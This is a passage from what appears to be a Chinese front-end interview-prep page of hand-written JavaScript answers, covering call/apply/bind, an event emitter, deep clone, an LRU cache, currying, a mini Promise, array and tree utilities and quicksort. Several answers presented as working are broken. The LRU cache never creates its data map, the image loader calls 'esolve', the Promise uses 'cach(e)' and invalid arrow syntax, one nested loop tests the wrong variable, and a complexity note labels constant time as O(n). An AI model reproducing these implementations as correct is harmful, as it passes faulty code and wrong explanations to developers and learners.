  // 相等于 obj[fnKey] = fn 
  context[fnKey] = this; // this 就是当前的函数
  
  // 绑定了this
  let result = context[fnKey](...args);// 相当于 obj.fn()执行 fn内部this指向context(obj)

  // 清理掉 fn ,防止污染(即清掉obj上的fnKey属性)
  delete context[fnKey];

  // 返回结果 
  return result;
};
//用法:f.call(this,arg1)

function f(a,b){
 console.log(a+b)
 console.log(this.name)
}
let obj={
 name:1
}
f.myCall(obj,1,2) // 不传obj,this指向window

# 实现apply方法

思路: 利用this的上下文特性。apply其实就是改一下参数的问题

Function.prototype.myApply = function(context = window, args) {  // 这里传参和call传参不一样
  if (typeof context !== 'object') context = new Object(context) // 值类型,变为对象

  // args 传递过来的参数
  // this 表示调用call的函数
  // context 是apply传入的this

  // 在context上加一个唯一值,不会出现属性名称的覆盖
  let fnKey = Symbol()
  context[fnKey] = this; // this 就是当前的函数
  
  // 绑定了this
  let result = context[fnKey](...args); 

  // 清理掉 fn ,防止污染
  delete context[fnKey]; 

  // 返回结果
  return result;
}
// 使用
function f(a,b){
 console.log(a,b)
 console.log(this.name)
}
let obj={
 name:'张三'
}
f.myApply(obj,[1,2])

# 实现bind方法

bind 的实现对比其他两个函数略微地复杂了一点,涉及到参数合并(类似函数柯里化),因为 bind 需要返回一个函数,需要判断一些边界问题,以下是 bind 的实现

  • bind 返回了一个函数,对于函数来说有两种方式调用,一种是直接调用,一种是通过 new 的方式,我们先来说直接调用的方式
  • 对于直接调用来说,这里选择了 apply 的方式实现,但是对于参数需要注意以下情况:因为 bind 可以实现类似这样的代码 f.bind(obj, 1)(2),所以我们需要将两边的参数拼接起来
  • 最后来说通过 new 的方式,对于 new 的情况来说,不会被任何方式改变 this,所以对于这种情况我们需要忽略传入的 this
  • 箭头函数的底层是bind,无法改变this,只能改变参数

简洁版本

  • 对于普通函数,绑定this指向
  • 对于构造函数,要保证原函数的原型对象上的属性不能丢失
Function.prototype.myBind = function(context = window, ...args) {
  // context 是 bind 传入的 this
  // args 是 bind 传入的各个参数
  // this表示调用bind的函数
  let self = this; // fn.bind(obj) self就是fn

  //返回了一个函数,...innerArgs为实际调用时传入的参数
  let fBound = function(...innerArgs) { 
      //this instanceof fBound为true表示构造函数的情况。如new func.bind(obj)
      // 当作为构造函数时,this 指向实例,此时 this instanceof fBound 结果为 true,可以让实例获得来自绑定函数的值
      // 当作为普通函数时,this 默认指向 window,此时结果为 false,将绑定函数的 this 指向 context
      return self.apply( // 函数执行
        this instanceof fBound ? this : context, 
        args.concat(innerArgs) // 拼接参数
      );
  }

  // 如果绑定的是构造函数,那么需要继承构造函数原型属性和方法:保证原函数的原型对象上的属性不丢失
  // 实现继承的方式: 使用Object.create
  fBound.prototype = Object.create(this.prototype);
  return fBound;
}
// 测试用例

function Person(name, age) {
  console.log('Person name:', name);
  console.log('Person age:', age);
  console.log('Person this:', this); // 构造函数this指向实例对象
}

// 构造函数原型的方法
Person.prototype.say = function() {
  console.log('person say');
}

// 普通函数
function normalFun(name, age) {
  console.log('普通函数 name:', name); 
  console.log('普通函数 age:', age); 
  console.log('普通函数 this:', this);  // 普通函数this指向绑定bind的第一个参数 也就是例子中的obj
}


var obj = {
  name: 'poetries',
  age: 18
}

// 先测试作为构造函数调用
var bindFun = Person.myBind(obj, 'poetry1') // undefined
var a = new bindFun(10) // Person name: poetry1、Person age: 10、Person this: fBound {}
a.say() // person say

// 再测试作为普通函数调用
var bindNormalFun = normalFun.myBind(obj, 'poetry2') // undefined
bindNormalFun(12) 
// 普通函数name: poetry2 
// 普通函数 age: 12 
// 普通函数 this: {name: 'poetries', age: 18}

注意bind之后不能再次修改this的指向(箭头函数的底层实现原理依赖bind绑定this后不能再次修改this的特性),bind多次后执行,函数this还是指向第一次bind的对象

# 发布订阅模式

简介:

发布订阅者模式,一种对象间一对多的依赖关系,但一个对象的状态发生改变时,所依赖它的对象都将得到状态改变的通知。

主要的作用(优点):

  1. 广泛应用于异步编程中(替代了传递回调函数)
  2. 对象之间松散耦合的编写代码

缺点:

  • 创建订阅者本身要消耗一定的时间和内存
  • 多个发布者和订阅者嵌套一起的时候,程序难以跟踪维护

实现的思路:

  • 创建一个对象(缓存列表)
  • on方法用来把回调函数fn都加到缓存列表中
  • emit 根据key值去执行对应缓存列表中的函数
  • off方法可以根据key值取消订阅
class EventEmiter {
  constructor() {
    // 事件对象,存放订阅的名字和事件
    this._events = {}
  }
  // 订阅事件的方法
  on(eventName,callback) {
    if(!this._events) {
      this._events = {}
    }
    // 合并之前订阅的cb
    this._events[eventName] = [...(this._events[eventName] || []),callback]
  }
  // 触发事件的方法
  emit(eventName, ...args) {
    if(!this._events[eventName]) {
      return
    }
    // 遍历执行所有订阅的事件
    this._events[eventName].forEach(fn=>fn(...args))
  }
  off(eventName,cb) {
    if(!this._events[eventName]) {
      return
    }
    // 删除订阅的事件
    this._events[eventName] = this._events[eventName].filter(fn=>fn != cb && fn.l != cb)
  }
  // 绑定一次 触发后将绑定的移除掉 再次触发掉
  once(eventName,callback) {
    const one = (...args)=>{
      // 等callback执行完毕在删除
      callback(args)
      this.off(eventName,one)
    }
    one.l = callback // 自定义属性
    this.on(eventName,one)
  }
}

测试用例

let event = new EventEmiter()

let login1 = function(...args) {
  console.log('login success1', args)
}
let login2 = function(...args) {
  console.log('login success2', args)
}
// event.on('login',login1)
event.once('login',login2)
event.off('login',login1) // 解除订阅
event.emit('login', 1,2,3,4,5)
event.emit('login', 6,7,8,9)
event.emit('login', 10,11,12)  

发布订阅者模式和观察者模式的区别?

  • 发布/订阅模式是观察者模式的一种变形,两者区别在于,发布/订阅模式在观察者模式的基础上,在目标和观察者之间增加一个调度中心。
  • 观察者模式是由具体目标调度,比如当事件触发,Subject 就会去调用观察者的方法,所以观察者模式的订阅者与发布者之间是存在依赖的。
  • 发布/订阅模式由统一调度中心调用,因此发布者和订阅者不需要知道对方的存在。

# 手写JS深拷贝-考虑各种数据类型和循环引用

  • 使用JSON.stringify
    • 无法转换函数
    • 无法转换MapSet
    • 无法转换循环引用
  • 普通深拷贝
    • 只考虑ObjectArray
    • 无法转换MapSet和循环引用
    • 只能应对初级要求的技术一面

普通深拷贝 - 只考虑了简单的数组、对象

/**
 * 普通深拷贝 - 只考虑了简单的数组、对象
 * @param obj obj
 */
function cloneDeep(obj) {
    if (typeof obj !== 'object' || obj == null ) return obj

    let result
    if (obj instanceof Array) {
        result = []
    } else {
        result = {}
    }

    for (let key in obj) {
        if (obj.hasOwnProperty(key)) {            
            result[key] = cloneDeep(obj[key]) // 递归调用
        }
    }

    return result
}
// 功能测试
const a: any = {
    set: new Set([10, 20, 30]),
    map: new Map([['x', 10], ['y', 20]])
}
a.self = a
console.log( cloneDeep(a) ) // 无法处理 Map Set 和循环引用

深拷贝-考虑数组、对象、Map、Set、循环引用

/**
 * 深拷贝
 * @param obj obj
 * @param map weakmap 为了避免循环引用、避免导致内存泄露的风险
 */
function cloneDeep(obj, map = new WeakMap()) {
    if (typeof obj !== 'object' || obj == null ) return obj

    // 避免循环引用
    const objFromMap = map.get(obj)
    if (objFromMap) return objFromMap

    let target = {}
    map.set(obj, target)

    // Map
    if (obj instanceof Map) {
        target = new Map()
        obj.forEach((v, k) => {
            const v1 = cloneDeep(v, map)
            const k1 = cloneDeep(k, map)
            target.set(k1, v1)
        })
    }

    // Set
    if (obj instanceof Set) {
        target = new Set()
        obj.forEach(v => {
            const v1 = cloneDeep(v, map)
            target.add(v1)
        })
    }

    // Array
    if (obj instanceof Array) {
        target = obj.map(item => cloneDeep(item, map))
    }

    // Object
    for (const key in obj) {
        const val = obj[key]
        const val1 = cloneDeep(val, map)
        target[key] = val1
    }

    return target
}
// 功能测试
const a: any = {
    set: new Set([10, 20, 30]),
    map: new Map([['x', 10], ['y', 20]]),
    info: {
        city: 'shenzhen'
    },
    fn: () => { console.info(100) }
}
a.self = a
console.log( cloneDeep(a) )

# 用JS实现一个LRU缓存

  • 什么是LRU缓存
    • LRU(Least Recently Used) 最近最少使用
    • 假如我们有一块内存,专门用来缓存我们最近发访问的网页,访问一个新网页,我们就会往内存中添加一个网页地址,随着网页的不断增加,内存存满了,这个时候我们就需要考虑删除一些网页了。这个时候我们找到内存中最早访问的那个网页地址,然后把它删掉。这一整个过程就可以称之为 LRU 算法
    • 核心两个APIgetset
  • 分析
    • 用哈希表存储数据,这样get set才够快,时间复杂度O(1)
    • 必须是有序的,常用数据放在前面,沉水数据放在后面
    • 哈希表 + 有序,就是Map
class LRUCache {
    constructor(length) {
        if (length < 1) throw new Error('invalid length')
        this.length = length
    }

    set(key, value) {
        const data = this.data

        if (data.has(key)) {
            data.delete(key)
        }
        data.set(key, value)

        if (data.size > this.length) {
            // 如果超出了容量,则删除 Map 最老的元素
            const delKey = data.keys().next().value
            data.delete(delKey)
        }
    }

    get(key) {
        const data = this.data

        if (!data.has(key)) return null

        const value = data.get(key)

        // 先删除,再添加,就是最新的了
        data.delete(key)
        data.set(key, value)

        return value
    }
}
// 测试

const lruCache = new LRUCache(2)
lruCache.set(1, 1) // {1=1}
lruCache.set(2, 2) // {1=1, 2=2}
console.info(lruCache.get(1)) // 1 {2=2, 1=1}
lruCache.set(3, 3) // {1=1, 3=3}
console.info(lruCache.get(2)) // null
lruCache.set(4, 4) // {3=3, 4=4}
console.info(lruCache.get(1)) // null
console.info(lruCache.get(3)) // 3 {4=4, 3=3}
console.info(lruCache.get(4)) // 4 {3=3, 4=4}

# 手写curry函数,实现函数柯里化

分析

  • curry返回的是一个函数fn
  • 执行fn,中间状态返回函数,如add(1)或者add(1)(2)
  • 最后返回执行结果,如add(1)(2)(3)
// 实现函数柯里化

function curry(fn) {
    const fnArgsLength = fn.length // 传入函数的参数长度
    let args = []

    function calc(...newArgs) {
        // 积累参数保存到闭包中
        args = [
            ...args,
            ...newArgs
        ]
        // 积累的参数长度跟传入函数的参数长度对比
        if (args.length < fnArgsLength) {
            // 参数不够,返回函数
            return calc
        } else {
            // 参数够了,返回执行结果
            return fn.apply(this, args.slice(0, fnArgsLength)) // 传入超过fnArgsLength长度的参数没有意义
        }
    }

    // 返回一个函数
    return calc
}
// 测试

function add(a, b, c) {
    return a + b + c
}
// add(10, 20, 30) // 60

var curryAdd = curry(add)
var res = curryAdd(10)(20)(30) // 60
console.info(res)

# 手写一个LazyMan,实现sleep机制

  • 支持sleepeat两个方法
  • 支持链式调用
// LazyMan示例

const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(5).eat('葡萄')

// 打印
// 张三 eat 苹果
// 张三 eat 香蕉
// 等待5秒
// 张三 eat 葡萄

思路

  • 由于有sleep功能,函数不能直接在调用时触发
  • 初始化一个列表,把函数注册进去
  • 由每个item触发next执行(遇到sleep则异步触发,使用setTimeout

/**
 * @description lazy man
 */

class LazyMan {
    constructor(name) {
        this.name = name

        this.tasks = [] // 任务列表

        // 等注册完后在初始执行next
        setTimeout(() => {
            this.next()
        })
    }

    next() {
        const task = this.tasks.shift() // 取出当前 tasks 的第一个任务
        if (task) task()
    }

    eat(food) {
        const task = () => {
            console.info(`${this.name} eat ${food}`)
            this.next() // 立刻执行下一个任务
        }
        this.tasks.push(task)

        return this // 链式调用
    }

    sleep(seconds) {
        const task = () => {
            console.info(`${this.name} 开始睡觉`)
            setTimeout(() => {
                console.info(`${this.name} 已经睡完了 ${seconds}s,开始执行下一个任务`)
                this.next() // xx 秒之后再执行下一个任务
            }, seconds * 1000)
        }
        this.tasks.push(task)

        return this // 链式调用
    }
}
// 测试

const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(2).eat('葡萄').eat('西瓜').sleep(2).eat('橘子')

# 手写一个getType函数,获取详细的数据类型

  • 获取类型
    • 手写一个getType函数,传入任意变量,可准确获取类型
    • numberstringboolean等值类型
    • 引用类型objectarraymapregexp
/**
 * 获取详细的数据类型
 * @param x x
 */
function getType(x) {
  const originType = Object.prototype.toString.call(x) // '[object String]'
  const spaceIndex = originType.indexOf(' ')
  const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
  return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise

# 手写一个JS函数,实现数组扁平化Array Flatten

  • 写一个JS函数,实现数组扁平化,只减少一次嵌套
  • 如输入[1,[2,[3]],4] 输出[1,2,[3],4]

思路

  • 定义空数组arr=[] 遍历当前数组
  • 如果item非数组,则累加到arr
  • 如果item是数组,则遍历之后累加到arr
/**
 * 数组扁平化,使用 push
 * @param arr arr
 */
function flatten1(arr) {
  const res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      item.forEach(n => res.push(n))
    } else {
      res.push(item)
    }
  })

  return res
}
/**
 * 数组扁平化,使用 concat
 * @param arr arr
 */
function flatten2(arr) {
  let res = []

  arr.forEach(item => {
    res = res.concat(item)
  })

  return res
}
// 功能测试
const arr = [1, [2, [3], 4], 5]
console.info(flatten2(arr))

连环问:手写一个JS函数,实现数组深度扁平化

  • 如输入[1, [2, [3]], 4] 输出[1,2,3,4]

思路

  • 先实现一级扁平化,然后递归调用,直到全部扁平化
/**
 * 数组深度扁平化,使用 push
 * @param arr arr
 */
function flattenDeep1(arr) {
  const res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      const flatItem = flattenDeep1(item) // 递归
      flatItem.forEach(n => res.push(n))
    } else {
      res.push(item)
    }
  })

  return res
}
/**
 * 数组深度扁平化,使用 concat
 * @param arr arr
 */
function flattenDeep2(arr) {
  let res = []

  arr.forEach(item => {
    if (Array.isArray(item)) {
      const flatItem = flattenDeep2(item) // 递归
      res = res.concat(flatItem)
    } else {
      res = res.concat(item)
    }
  })

  return res
}
// 功能测试
const arr = [1, [2, [3, ['a', [true], 'b'], 4], 5], 6]
console.info( flattenDeep2(arr) )

# 把一个数组转换为树

const arr = [
  {id:1, name: '部门A', parentId: 0},
  {id:2, name: '部门B', parentId: 1},
  {id:3, name: '部门C', parentId: 1},
  {id:4, name: '部门D', parentId: 2},
  {id:5, name: '部门E', parentId: 2},
  {id:6, name: '部门F', parentId: 3},
]

树节点

interface ITreeNode {
  id:number
  name: string
  children?: ITreeNode[] // 子节点
}

思路

  • 遍历数组
  • 每个元素生成TreeNode
  • 找到parentNode,并加入它的children
    • 如何找到parentNode
      • 遍历数组去查找太慢
      • 可用一个Map来维护关系,便于查找
/**
 * @description array to tree
 */

// 数据结构
interface ITreeNode {
  id: number
  name: string
  children?: ITreeNode[]
}

function arr2tree(arr) {
  // 用于 id 和 treeNode 的映射
  const idToTreeNode = new Map()

  let root = null // 返回一棵树 tree rootNode

  arr.forEach(item => {
    const { id, name, parentId } = item

    // 定义 tree node 并加入 map
    const treeNode = { id, name }
    idToTreeNode.set(id, treeNode)

    // 找到 parentNode 并加入到它的 children
    const parentNode = idToTreeNode.get(parentId)
    if (parentNode) {
      if (parentNode.children == null){
        parentNode.children = []
      }
      parentNode.children.push(treeNode) // 把treeNode加入到parentNode下
    }

    // 找到根节点
    if (parentId === 0) {
      root = treeNode
    }
  })

  return root
}

const arr = [
  { id: 1, name: '部门A', parentId: 0 }, // 0 代表顶级节点,无父节点
  { id: 2, name: '部门B', parentId: 1 },
  { id: 3, name: '部门C', parentId: 1 },
  { id: 4, name: '部门D', parentId: 2 },
  { id: 5, name: '部门E', parentId: 2 },
  { id: 6, name: '部门F', parentId: 3 },
]
const tree = arr2tree(arr)
console.info(tree)

连环问:把一个树转换为数组

  • 思路
    • 遍历树节点(广度优先:一层层去遍历,结果是ABCDEF)而深度优先是(ABDECF
    • 将树节点转为Array Itempush到数组中
    • 根据父子关系,找到Array ItemparentId
      • 如何找到parentId
        • 遍历树查找太慢
        • 可用一个Map来维护关系,便于查找
/**
 * @description tree to arr
 */

// 数据结构
interface ITreeNode {
  id: number
  name: string
  children?: ITreeNode[]
}

function tree2arr(root) {
  // Map
  const nodeToParent = new Map() // 映射当前节点和父节点关系

  const arr = []

  // 广度优先遍历,queue
  const queue = []
  queue.unshift(root) // 根节点 入队

  while (queue.length > 0) {
    const curNode = queue.pop() // 出队
    if (curNode == null) break

    const { id, name, children = [] } = curNode

    // 创建数组 item 并 push
    const parentNode = nodeToParent.get(curNode)
    const parentId = parentNode?.id || 0
    const item = { id, name, parentId }
    arr.push(item)

    // 子节点入队
    children.forEach(child => {
      // 映射 parent
      nodeToParent.set(child, curNode)
      // 入队
      queue.unshift(child)
    })
  }

  return arr
}

const obj = {
  id: 1,
  name: '部门A',
  children: [
    {
      id: 2,
      name: '部门B',
      children: [
        { id: 4, name: '部门D' },
        { id: 5, name: '部门E' }
      ]
    },
    {
      id: 3,
      name: '部门C',
      children: [
        { id: 6, name: '部门F' }
      ]
    }
  ]
}
const arr = tree2arr(obj)
console.info(arr)

# 获取当前页面URL参数

// 传统方式
function query(name) {
  // search: '?a=10&b=20&c=30'
  const search = location.search.substr(1) // 去掉前面的? 类似 array.slice(1)
  const reg = new RegExp(`(^|&)${name}=([^&]*)(&|$)`, 'i')
  const res = search.match(reg)
  if (res === null) {
    return null
  }
  return res[2]
}
query('a') // 10
// 使用URLSearchParams方式
function query(name) {
  const search = location.search
  const p = new URLSearchParams(search)
  return p.get(name)
}
console.log( query('b') ) // 20

将URL参数解析为JSON对象

// 传统方式,分析search
function queryToObj() {
  const res = {}
  // search: '?a=10&b=20&c=30'
  const search = location.search.substr(1) // 去掉前面的?
  search.split('&').forEach(paramStr=>{
    const arr = paramStr.split('=')
    const key = arr[0]
    const val = arr[1]
    res[key] = val
  })
  return res
}
// 使用URLSearchParams方式
function queryToObj() {
  const res = {}
  const pList = new URLSearchParams(location.search)
  pList.forEach((val,key)=>{
    res[key] = val
  })
  return res
}

# 手写Promise加载一张图片

function loadImg(src) {
  return new Promise(
    (resolve, reject) => {
      const img = document.createElement('img')
      img.onload = () => {
          esolve(img)
      }
      img.onerror = () => {
        const err = new Error(`图片加载失败 ${src}`)
        reject(err)
      }
      img.src = src
    }
  )
}
// 测试

const url = 'https://s.poetries.work/uploads/2022/07/ee7310c4f45b9bd6.png'
loadImg(url).then(img => {
  console.log(img.width)
  return img
}).then(img => {
  console.log(img.height)
}).catch(ex => console.error(ex))

const url1 = 'https://s.poetries.work/uploads/2022/07/ee7310c4f45b9bd6.png'
const url2 = 'https://s.poetries.work/images/20210414100319.png'

loadImg(url1).then(img1 => {
  console.log(img1.width)
  return img1 // 普通对象
}).then(img1 => {
  console.log(img1.height)
  return loadImg(url2) // promise 实例
}).then(img2 => {
  console.log(img2.width)
  return img2
}).then(img2 => {
  console.log(img2.height)
}).catch(ex => console.error(ex))

# 两个数组求交集和并集

// 交集
function getIntersection(arr1, arr2) {
  const res = new Set()
  const set2 = new Set(arr2)
  for(let item of arr1) {
    if(set2.has(item)) { // 考虑性能:这里使用set的has比数组的includes快很多
      res.add(item) 
    }
  }
  return Array.from(res) // 转为数组返回
}

// 并集
function getUnion(arr1, arr2) {
  const res = new Set(arr1)
  for(let item of arr2) {
    res.add(item) // 利用set的去重功能
  }
  return Array.from(res) // 转为数组返回
}
// 测试

const arr1 = [1,3,4,6,7]
const arr2 = [2,5,3,6,1]
console.log('交集', getIntersection(arr1, arr2)) // 1,3,6
console.log('并集', getUnion(arr1, arr2)) // 1,3,4,6,7,2,5

# JS反转字符串

实现字符串A1B2C3反转为3C2B1A

// 方式1:str.split('').reverse().join('')

// 方式2:使用栈来实现
function reverseStr(str) {
  const stack = []
  for(let c of str) {
    stack.push(c) // 入栈
  }
  let newStr = ''
  let c = ''
  while(c = stack.pop()) { // 出栈 
    newStr += c // 出栈再拼接
  }
  return newStr
}

// 测试
console.log(reverseStr('A1B2C3')) // 3C2B1A

# 设计实现一个H5图片懒加载

  • 分析
    • 定义 <img src="loading.png" data-src="xx.png" />
    • 页面滚动时,图片露出,将data-src赋值给src
    • 滚动要节流
  • 获取图片定位
    • 元素的位置ele.getBoundingClientRect
    • 图片top > window.innerHeight没有露出,top < window.innerHeight露出
<!-- 图片拦截加载 -->
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal2.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal4.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal5.webp"/>
</div>
<div class="item-container">
  <p>新闻标题</p>
  <img src="./img/loading.gif" data-src="./img/animal6.webp"/>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
<script>
  function mapImagesAndTryLoad() {
    const images = document.querySelectorAll('img[data-src]')
    if (images.length === 0) return

    images.forEach(img => {
      const rect = img.getBoundingClientRect()
      if (rect.top < window.innerHeight) {
        // 漏出来
        // console.info('loading img', img.dataset.src)
        img.src = img.dataset.src
        img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
      }
    })
  }

  // 滚动需要节流
  window.addEventListener('scroll', _.throttle(() => {
    mapImagesAndTryLoad()
  }, 100))

  // 初始化默认执行一次
  mapImagesAndTryLoad()
</script>

# 手写Vue3基本响应式原理

// 简单实现

var fns = new Set()
var activeFn

function reactive(obj) {
  return new Proxy(obj, {
    get(target, key, receiver) {
      const res = Reflect.get(target,key,receiver) // 相当于target[key]

      // 懒递归 取值才执行
      if(typeof res === 'object' && res != null) {
        return reactive(res)
      }

      if(activeFn) fns.add(activeFn)

      return res
    },
    set(target,key, value, receiver) {
      fns.forEach(fn => fn()) // 触发effect订阅的回调函数的执行
      return Reflect.set(target, key, value, receiver)
    }
  })
}

function effect(fn) {
  activeFn = fn
  fn() // 执行一次去取值,触发proxy get
}
// 测试

var user = reactive({name: 'poetries',info:{age: 18}})
effect(() => {console.log('name', user.name)})
// 修改属性,自动触发effect内部函数执行
user.name = '张三'
// user.info.age = 10 // 修改深层次对象
setTimeout(()=>{ user.name = '李四'}) 

# 实现一个简洁版的promise

// 三个常量用于表示状态
const PENDING = 'pending'
const RESOLVED = 'resolved'
const REJECTED = 'rejected'

function MyPromise(fn) {
    const that = this
    this.state = PENDING

    // value 变量用于保存 resolve 或者 reject 中传入的值
    this.value = null

    // 用于保存 then 中的回调,因为当执行完 Promise 时状态可能还是等待中,这时候应该把 then 中的回调保存起来用于状态改变时使用
    that.resolvedCallbacks = []
    that.rejectedCallbacks = []


    function resolve(value) {
         // 首先两个函数都得判断当前状态是否为等待中
        if(that.state === PENDING) {
            that.state = RESOLVED
            that.value = value

            // 遍历回调数组并执行
            that.resolvedCallbacks.map(cb=>cb(that.value))
        }
    }
    function reject(value) {
        if(that.state === PENDING) {
            that.state = REJECTED
            that.value = value
            that.rejectedCallbacks.map(cb=>cb(that.value))
        }
    }

    // 完成以上两个函数以后,我们就该实现如何执行 Promise 中传入的函数了
    try {
        fn(resolve,reject)
    }cach(e){
        reject(e)
    }
}

// 最后我们来实现较为复杂的 then 函数
MyPromise.prototype.then = function(onFulfilled,onRejected){
  const that = this

  // 判断两个参数是否为函数类型,因为这两个参数是可选参数
  onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : v=>v
  onRejected = typeof onRejected === 'function' ? onRejected : e=>throw e

  // 当状态不是等待态时,就去执行相对应的函数。如果状态是等待态的话,就往回调函数中 push 函数
  if(this.state === PENDING) {
      this.resolvedCallbacks.push(onFulfilled)
      this.rejectedCallbacks.push(onRejected)
  }
  if(this.state === RESOLVED) {
      onFulfilled(that.value)
  }
  if(this.state === REJECTED) {
      onRejected(that.value)
  }
}

# 13 算法题

# 时间复杂度与空间复杂度基本概念

什么是复杂度

  • 程序执行需要的计算量和内存空间
  • 复杂度是数量级(方便记忆推广)不是具体的数字
  • 一般针对一个具体的算法,而非一个完整的系统

时间复杂度-程序执行时需要的计算量(CPU)

  • O(n)一次就够(数量级)
  • O(n)和传输的数据一样(数量级)
  • O(n^2)数据量的平方(数量级)
  • O(logn)数据量的对数(数量级)
  • O(n*logn)数据量*数据量的对数(数量级)
function fn1(obj) {
  // O(1)
  return obj.a + obj.b
}

function fn2(arr) {
  // O(n)
  for(let i = 0;i<arr.length;i++) {
    // 一层for循环
  }
}

function fn3(arr) {
  // O(n^2)
  for(let i = 0;i<arr.length;i++) {
    for(let j = 0;i<arr.length;j++) {
      // 二层for循环
    }
  }
}

function fn4(arr) {
  // 二分 O(logn)
  for() {

  }
}

空间复杂度-程序执行时需要的内存空间

  • O(1)有限的、可数的空间(数量级)
  • O(n)和输入的数据量相同的空间(数量级)

# 实现数字千分位格式化

  • 将数字千分位格式化,输出字符串
  • 如输入数字13050100输出13,050,100
  • 注意:逆序判断(从后往前判断)

思路分析

  • 转化为数组,reverse,每三位拆分
  • 使用正则表达式
  • 使用字符串拆分

性能分析

  • 使用数组,转化影响性能
  • 使用正则表达式,性能较差
  • 使用字符串性能较好,推荐答案

划重点

  • 顺序,从尾到头
  • 尽量不要转化数据结构
  • 慎用正则表达式,性能较慢
/**
 * 千分位格式化(使用数组)
 * @param n number
 */
function format1(n) {
  n = Math.floor(n) // 只考虑整数

  const s = n.toString() // 13050100
  const arr = s.split('').reverse() // 反转数组逆序判断,从尾到头 00105031
  return arr.reduce((prev, val, index) => {
    // 分析
    // index = 0   prev = ''           val = '0'      return '0'
    // index = 1   prev = '0'          val = '0'      return '00'
    // index = 2   prev = '00'         val = '1'      return '100'
    // index = 3   prev = '100'        val = '0'      return '0,100'
    // index = 4   prev = '0,100'      val = '5'      return '50,100'
    // index = 5   prev = '50,100'     val = '0'      return '050,100'
    // index = 6   prev = '050,100'    val = '3'      return '3,050,100'
    // index = 7   prev = '3,050,100'  val = '1'      return '13,050,100'
    if (index % 3 === 0) { //每隔三位加一个逗号
      if (prev) {
        return val + ',' + prev 
      } else {
        return val
      }
    } else {
      return val + prev
    }
  }, '')
}

获取1-10000之前所有的对称数(回文数)

  • 1-10000之间所有的对称数(回文)
  • 例如:0,1,2,11,22,101,232,1221...

思路分析

  • 思路1:使用数组反转比较
    • 数字转为字符串,在转为数组
    • 数组reverse,在join为字符串
    • 前后字符串进行对比
    • 看似是O(n),但数组转换、操作都需要时间,所以慢
  • 思路2:字符串前后比较
    • 数字转为字符串
    • 字符串头尾字符比较
    • 思路2 vs 思路3,直接操作数字更快
  • 思路3:生成翻转数
    • 使用%Math.floor()生成翻转数
    • 前后数字进行对比
    • 全程操作数字,没有字符串类型

总结

  • 尽量不要转换数据结构,尤其是数组这种有序结构
  • 尽量不要用内置API,如reverse等不好识别复杂度
  • 数字操作最快,其次是字符串
/**
 * 查询 1-max 的所有对称数(数组反转)
 * @param max 最大值
 */
function findPalindromeNumbers1(max) {
  const res = []
  if (max <= 0) return res

  for (let i = 1; i <= max; i++) {
    // 转换为字符串,转换为数组,再反转,比较
    const s = i.toString()
    if (s === s.split('').reverse().join('')) { // 反过来看是否和之前的一样就是回文
      res.push(i)
    }
  }

  return res
}

# 实现快速排序并说明时间复杂度

思路分析

  • 找到中间位置midValue
  • 遍历数组,小于midValue放在left,否则放在right
  • 继续递归,最后concat拼接返回
  • 使用splice会修改原数组,使用slice不会修改原数组(推荐)
  • 一层遍历+二分的时间复杂度是O(nlogn)

快速排序(使用 splice)

/**
 * 快速排序(使用 splice)
 * @param arr:number[] number arr
 */
function quickSort1(arr) {
  const length = arr.length
  if (length === 0) return arr

  // 获取中间的数
  const midIndex = Math.floor(length / 2)
  const midValue = arr.splice(midIndex, 1)[0] // splice会修改原数组,传入开始位置和长度是1

  const left = []
  const right = []

  // 注意:这里不用直接用 length ,而是用 arr.length 。因为 arr 已经被 splice 给修改了
  for (let i = 0; i < arr.length; i++) {
    const n = arr[i]
    if (n < midValue) {
      // 小于 midValue ,则放在 left
      left.push(n)
    } else {
      // 大于 midValue ,则放在 right
      right.push(n)
    }
  }

  return quickSort1(left).concat([midValue], quickSort1(right))
}

快速排序(使用 slice)

/**
 * 快速排序(使用 slice)
 * @param arr number arr
 */
function quickSort2(arr) {
  const length = arr.length
  if (length === 0) return arr

  // 获取中间的数
  const midIndex = Math.floor(length / 2)
  const midValue = arr.slice(midIndex, midIndex + 1)[0] // 使用slice不会修改原数组,传入开始位置和结束位置

  const left = []
  const right = []

  for (let i = 0; i < length; i++) {
    if (i !== midIndex) { // 这里要忽略掉midValue
      const n = arr[i]
      if (n < midValue) {
        // 小于 midValue ,则放在 left
        left.push(n)
      } else {
        // 大于 midValue ,则放在 right
        right.push(n)
      }
    }
  }

  return quickSort2(left).concat([midValue], quickSort2(right))
}
// 功能测试
const arr1 = [1, 6, 2, 7, 3, 8, 4, 9, 5]
console.info(quickSort2(arr1))
// 性能测试

// 快速排序(使用 splice)
const arr1 = []
for (let i = 0; i < 10 * 10000; i++) {
  arr1.push(Math.floor(Math.random() * 1000))
}
console.time('quickSort1')
quickSort1(arr1)
console.timeEnd('quickSort1') // 74ms

// 快速排序(使用 slice)
const arr2 = []
for (let i = 0; i < 10 * 10000; i++) {
  arr2.push(Math.floor(Math.random() * 1000))
}
console.time('quickSort2')
